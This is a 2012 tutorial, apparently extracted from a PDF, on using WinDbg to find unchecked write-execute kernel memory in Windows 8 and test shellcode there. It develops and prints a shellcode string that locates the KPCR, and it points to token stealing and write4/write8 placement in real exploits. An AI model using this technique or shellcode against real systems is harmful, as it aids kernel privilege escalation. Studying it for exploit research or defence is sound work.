Sei sulla pagina 1di 7

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U

Using Windbg.TXT 11/5/2012, 9:59:49 PM


How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By Using
Windbg
by cawan (cawan[at]ieee.org or chuiyewleong[at]hotmail.com)
on 5/11/2012
For windows kernel shellcoder, it is very important to has a testing platform in
evaluating and verifying the shellcode at instruction level in runtime. So, windbg
should be the ideal tool to do the job. In order to build a testing platform, we
need 2 pieces of memory areas, one with write and execute (WE) permission, and
another one with write (W) permission. The one with WE permission is to let us put
our shellcode inside, and run it there. On the other hand, the one with W permission
is for temporary storage, so, we can store our variable or output there. A good
example is sgdt command. The command will read the gdt register and store the content
into a memory area that we specified. Now, we need to search memory pages to find
one with WE permission and another one with W permission. Let's start now.
kd>.logopen c:\logs\80000000.txt
kd>.for (r $t0=80000000; @$t0<90000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\90000000.txt
kd>.for (r $t0=90000000; @$t0<a0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\a0000000.txt
kd>.for (r $t0=a0000000; @$t0<b0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\b0000000.txt
kd>.for (r $t0=a0000000; @$t0<c0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\c0000000.txt
kd>.for (r $t0=c0000000; @$t0<d0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\d0000000.txt
kd>.for (r $t0=d0000000; @$t0<e0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\e0000000.txt
kd>.for (r $t0=e0000000; @$t0<f0000000; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
kd>.logopen c:\logs\f0000000.txt
kd>.for (r $t0=f0000000; @$t0<ffffffff; r $t0=@$t0+1000){!pte @$t0;ln @$t0;}
kd>.logclose
8 log files are generated, which the file names from 80000000.txt to f0000000.txt.
The processes will take quite a while in scanning the kernel space page by page.
Based on the log files, quite a number of memory areas are found which can meet the
requirement. However, most of them are protected by integrity check of the kernel.
In other words, when some bytes on those memory areas are modified, and let the
kernel run again, the system will crash immediately. Fortunately, after several
tries, a piece of memory area which has WE permission and out of the control of
integrity check by the kernel has been found.
///////////////////////////////////////////////////////////////////////////////////
VA 811fc000
PDE at C0602040
PTE at C0408FE0
Page: 1

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
contains 0000000002A07063
pfn 2a07
---DA--KWEV
(811fb480)

contains 00000000025FC963
pfn 25fc
-G-DA--KWEV

nt!HvlpLogicalProcessorRegions+0xb80

(81206480)

nt!HvlpNodes

///////////////////////////////////////////////////////////////////////////////////
The memory area is known as HvlpLogicalProcessorRegions and it is started from
0x811fb480 and end at 0x81206480. Please note that the memory addresses will be
different in your machine because the kernel base is always ASLRed. Now we need to
make sure the HvlpLogicalProcessorRegions is included in the nt kernel export list
or not.
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "HvlpLogicalProcessorRegions"
.shell: Process exited
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "Hvlp"
.shell: Process exited
kd> .shell -ci "r $t1=(nt+4bc64c); .for (r $t0=0; @$t0<987; r $t0=@$t0+1)
{da poi(@$t1)+nt l20; r $t1=@$t1+4}" find /I "Hvl"
814c9f18 "HvlGetLpIndexFromApicId"
814c9f30 "HvlQueryActiveHypervisorProcesso"
814c9f57 "HvlQueryActiveProcessors"
814c9f70 "HvlQueryConnection"
814c9f83 "HvlQueryHypervisorProcessorNodeN"
814c9fa9 "HvlQueryProcessorTopology"
814c9fc3 "HvlQueryProcessorTopologyCount"
814c9fe2 "HvlQueryProcessorTopologyHighest"
814ca005 "HvlRegisterInterruptCallback"
814ca022 "HvlRegisterWheaErrorNotification"
814ca043 "HvlUnregisterInterruptCallback"
814ca062 "HvlUnregisterWheaErrorNotificati"
.shell: Process exited
There is nothing in the export list that match "HvlpLogicalProcessorRegions", and even
with prefix "Hvlp". If search for those with prefix "Hvl", then there are some, but
nothing related to the "HvlpLogicalProcessorRegions". So, from the angle of kernel
shellcode design, we can only get the base of "HvlpLogicalProcessorRegions" by using
offset comparison technique as discussed in previous paper - "How to Defeat Windows 8
ASLR in Getting the Address of KPCR". Anyway, since we are using windbg with symbol
files now, we no need to consider this first. But now, how about the memory area with
W permission ? Again, after several tries, a fixed address is very suitable to do the
job, and it is located at 0xffdf0000.
///////////////////////////////////////////////////////////////////////////////////
VA ffdf0000
PDE at C0603FF0
PTE at C07FEF80
contains 0000000002A96063 contains 8000000002A58163
pfn 2a96
---DA--KWEV
pfn 2a58
-G-DA--KW-V
///////////////////////////////////////////////////////////////////////////////////
Nice, let's try with some instructions. First, check for any content in
HvlpLogicalProcessorRegions.
kd> dd HvlpLogicalProcessorRegions
811fb480 00000000 00000000 00000000
811fb490 00000000 00000000 00000000
811fb4a0 00000000 00000000 00000000
811fb4b0 00000000 00000000 00000000
811fb4c0 00000000 00000000 00000000

00000000
00000000
00000000
00000000
00000000
Page: 2

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
811fb4d0
811fb4e0
811fb4f0

00000000 00000000 00000000 00000000


00000000 00000000 00000000 00000000
00000000 00000000 00000000 00000000

Full with zero...Fine, we start to put some instructions there.


kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb489 nop
nop
811fb48a nop
nop
811fb48b
The instruction "sgdt [0xffdf0000]" will write the content of gdt register into
0xffdf0000. Let's check the memory of HvlpLogicalProcessorRegions again.
kd> dd HvlpLogicalProcessorRegions
811fb480 010f9090 df000005 009090ff
811fb490 00000000 00000000 00000000
811fb4a0 00000000 00000000 00000000
811fb4b0 00000000 00000000 00000000
811fb4c0 00000000 00000000 00000000
811fb4d0 00000000 00000000 00000000
811fb4e0 00000000 00000000 00000000
811fb4f0 00000000 00000000 00000000

00000000
00000000
00000000
00000000
00000000
00000000
00000000
00000000

It is easier to check it in bytes...


kd> db HvlpLogicalProcessorRegions
811fb480 90 90 0f 01 05 00 00 df-ff
811fb490 00 00 00 00 00 00 00 00-00
811fb4a0 00 00 00 00 00 00 00 00-00
811fb4b0 00 00 00 00 00 00 00 00-00
811fb4c0 00 00 00 00 00 00 00 00-00
811fb4d0 00 00 00 00 00 00 00 00-00
811fb4e0 00 00 00 00 00 00 00 00-00
811fb4f0 00 00 00 00 00 00 00 00-00

90
00
00
00
00
00
00
00

90
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

................
................
................
................
................
................
................
................

Good, the instructions already there. Let the kernel run again to ensure the system
will not hang due to our modification to the kernel memory. Issue command 'g' and
do something such as open windows explorer at windows 8, it should work properly.
Now, break the system again and check our instructions are still there or not.
kd> db HvlpLogicalProcessorRegions
811fb480 90 90 0f 01 05 00 00 df-ff
811fb490 00 00 00 00 00 00 00 00-00
811fb4a0 00 00 00 00 00 00 00 00-00
811fb4b0 00 00 00 00 00 00 00 00-00
811fb4c0 00 00 00 00 00 00 00 00-00
811fb4d0 00 00 00 00 00 00 00 00-00
811fb4e0 00 00 00 00 00 00 00 00-00
811fb4f0 00 00 00 00 00 00 00 00-00

90
00
00
00
00
00
00
00

90
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

00
00
00
00
00
00
00
00

................
................
................
................
................
................
................
................

Yes, still there. Now, we need to redirect the EIP to HvlpLogicalProcessorRegions.


Before that, we need to note down the current EIP first.

Page: 3

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
kd> r eip
eip=811003a4
So, redirect the EIP to HvlpLogicalProcessorRegions now.
kd> r eip=HvlpLogicalProcessorRegions
kd> r eip
eip=811fb480
Well, let's disassemble it.
kd> u eip
nt!HvlpLogicalProcessorRegions:
811fb480 90
nop
811fb481 90
nop
811fb482 0f01050000dfff sgdt
811fb489 90
nop
811fb48a 90
nop
811fb48b 0000
add
811fb48d 0000
add
811fb48f 0000
add

fword ptr ds:[0FFDF0000h]


byte ptr [eax],al
byte ptr [eax],al
byte ptr [eax],al

We are ready to run it now. Step over until reach at 0x811fb48a.


kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 0f01050000dfff sgdt
fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0x9:
811fb489 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0xa:
811fb48a 90
nop
Now, check the content of gdt register at ffdf0000.
kd> dd ffdf0000
ffdf0000 300003ff
ffdf0010 00000000
ffdf0020 0e234000
ffdf0030 003a0043
ffdf0040 00730077
ffdf0050 00000000
ffdf0060 00000000
ffdf0070 00000000
kd> db ffdf0000
ffdf0000 ff 03 00
ffdf0010 00 00 00
ffdf0020 00 40 23
ffdf0030 43 00 3a
ffdf0040 77 00 73
ffdf0050 00 00 00
ffdf0060 00 00 00
ffdf0070 00 00 00

0f998080
16c4f5d0
00000043
0057005c
00000000
00000000
00000000
00000000

a2cd7d0e
01cdbbb7
00000043
006e0069
00000000
00000000
00000000
00000000

00000000
01cdbbb7
014c014c
006f0064
00000000
00000000
00000000
00000000

30
00
0e
00
00
00
00
00

99
c4
00
57
00
00
00
00

7d
bb
00
00
00
00
00
00

80
d0
43
5c
00
00
00
00

80
f5
00
00
00
00
00
00

0f-0e
16-b7
00-43
00-69
00-00
00-00
00-00
00-00

cd
cd
00
6e
00
00
00
00

a2
01
00
00
00
00
00
00

00
b7
4c
64
00
00
00
00

00
bb
01
00
00
00
00
00

00
cd
4c
6f
00
00
00
00

00
01
01
00
00
00
00
00

...0.....}......
................
.@#.C...C...L.L.
C.:.\.W.i.n.d.o.
w.s.............
................
................
................

gdt register is 48-bit, which is 6 bytes and the gdt base is located at byte 2-5
(zero base). So, the gdt base should be 0x80803000. Let's verify.
kd> r gdtr
Page: 4

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
gdtr=80803000
Yes, it seems everything fine. How about to get the KPCR ?
kd> a HvlpLogicalProcessorRegions
811fb480 nop
nop
811fb481 nop
nop
811fb482 pushad
pushad
811fb483 nop
nop
811fb484 nop
nop
811fb485 sgdt [0xffdf0000]
sgdt [0xffdf0000]
811fb48c mov eax,[ffdf0002]
mov eax,[ffdf0002]
811fb491 mov dh,[eax+37]
mov dh,[eax+37]
811fb494 mov dl,[eax+34]
mov dl,[eax+34]
811fb497 mov bx,dx
mov bx,dx
811fb49a shl ebx,10
shl ebx,10
811fb49d mov bh,[eax+33]
mov bh,[eax+33]
811fb4a0 mov bl,[eax+32]
mov bl,[eax+32]
811fb4a3 nop
nop
811fb4a4 nop
nop
811fb4a5 popad
popad
811fb4a6 nop
nop
811fb4a7 nop
nop
811fb4a8
kd> r eip=HvlpLogicalProcessorRegions
kd> p
nt!HvlpLogicalProcessorRegions+0x1:
811fb481 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x2:
811fb482 60
pushad
kd> p
nt!HvlpLogicalProcessorRegions+0x3:
811fb483 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x4:
811fb484 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x5:
811fb485 0f01050000dfff sgdt
fword ptr ds:[0FFDF0000h]
kd> p
nt!HvlpLogicalProcessorRegions+0xc:
811fb48c a10200dfff
mov
eax,dword ptr ds:[FFDF0002h]
Page: 5

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
kd> p
nt!HvlpLogicalProcessorRegions+0x11:
811fb491 8a7037
mov
dh,byte ptr [eax+37h]
kd> r eax
eax=80803000
kd> p
nt!HvlpLogicalProcessorRegions+0x14:
811fb494 8a5034
mov
dl,byte ptr [eax+34h]
kd> db eax
80803000 00 00 00 00 00 00 00 00-ff ff 00 00 00 9b cf
80803010 ff ff 00 00 00 93 cf 00-ff ff 00 00 00 fb cf
80803020 ff ff 00 00 00 f3 cf 00-ab 20 00 80 7f 8b 00
80803030 80 42 00 90 20 93 40 81-ff 0f 00 00 00 f3 40
80803040 ff ff 00 04 00 f2 00 00-00 00 00 00 00 00 00
80803050 68 00 00 30 1d 89 00 81-68 00 68 30 1d 89 00
80803060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00
80803070 ff 03 00 30 80 92 00 80-00 00 00 00 00 00 00
kd> r dh
dh=81
kd> p
nt!HvlpLogicalProcessorRegions+0x17:
811fb497 668bda
mov
bx,dx
kd> r dl
dl=20
kd> p
nt!HvlpLogicalProcessorRegions+0x1a:
811fb49a c1e310
shl
ebx,10h
kd> r ebx
ebx=81208120
kd> p
nt!HvlpLogicalProcessorRegions+0x1d:
811fb49d 8a7833
mov
bh,byte ptr [eax+33h]
kd> r ebx
ebx=81200000
kd> p
nt!HvlpLogicalProcessorRegions+0x20:
811fb4a0 8a5832
mov
bl,byte ptr [eax+32h]
kd> r bh
bh=90
kd> p
nt!HvlpLogicalProcessorRegions+0x23:
811fb4a3 90
nop
kd> r bl
bl=0
kd> r ebx
ebx=81209000

00
00
80
00
00
81
00
00

................
................
......... ......
.B.. .@.......@.
................
h..0....h.h0....
................
...0............

Well, the value of ebx should be the KPCR, let's verify.


kd> dg 30
P
Sel
Base
Limit
Type
l
---- -------- -------- ---------- 0030 81209000 00004280 Data RW Ac 0

Si
ze
-Bg

Gr
an
-By

Pr
es
-P

Lo
ng Flags
-- -------Nl 00000493

Good, we are at the right point. Now, let us extract the shellcode in getting KPCR.
811fb485
811fb48c
811fb491
811fb494
811fb497

0f01050000dfff
a10200dfff
8a7037
8a5034
668bda

sgdt
mov
mov
mov
mov

fword ptr ds:[0FFDF0000h]


eax,dword ptr ds:[FFDF0002h]
dh,byte ptr [eax+37h]
dl,byte ptr [eax+34h]
bx,dx
Page: 6

File: E:\How To Build A Kernel Shellcode Design and Testing Platform For Windows 8 By U
Using Windbg.TXT 11/5/2012, 9:59:49 PM
811fb49a c1e310
811fb49d 8a7833
811fb4a0 8a5832

shl
mov
mov

ebx,10h
bh,byte ptr [eax+33h]
bl,byte ptr [eax+32h]

shellcode_get_kpcr=("\x0f\x01\x05\x00\x00\xdf\xff\xa1\x02\x00\xdf\xff\x8a\x70\x37"
"\x8a\x50\x34\x66\x8b\xda\xc1\xe3\x10\x8a\x78\x33\x8a\x58\x32")
So, after the shellcode_get_kpcr get executed, the address of KPCR should be at ebx,
and we can do the rest of the things such as token stealing or whatever up to your
imagination. Besides, this version of shellcode contains illegal null bytes which is
normally not allowed by the system. Regarding how to avoid null bytes, I reserve this
as your own exercise. After everything completed, we revert the machine to the
original state. Let's run over the instruction "popad".
kd> p
nt!HvlpLogicalProcessorRegions+0x24:
811fb4a4 90
nop
kd> p
nt!HvlpLogicalProcessorRegions+0x25:
811fb4a5 61
popad
kd> p
nt!HvlpLogicalProcessorRegions+0x26:
811fb4a6 90
nop
kd> r eax
eax=00000001
kd> r ebx
ebx=8120b354
Now, reset the address of EIP to the original state.
ebx=8120b354
kd> r eip=811003a4
Issue command 'g' to run the kernel again, the system should revert to the working
state.
kd> g
Yes, the system now working well again. For your info, when using this technique in
the real exploit, the shellcode can put directly to HvlpLogicalProcessorRegions by
using multiple of write4 or write8. Regarding to the issue of how to get the address
of HvlpLogicalProcessorRegions in ASLRed kernel, please refer my previous paper of
"How to Defeat Windows 8 ASLR in Getting the Address of KPCR"

Page: 7

Potrebbero piacerti anche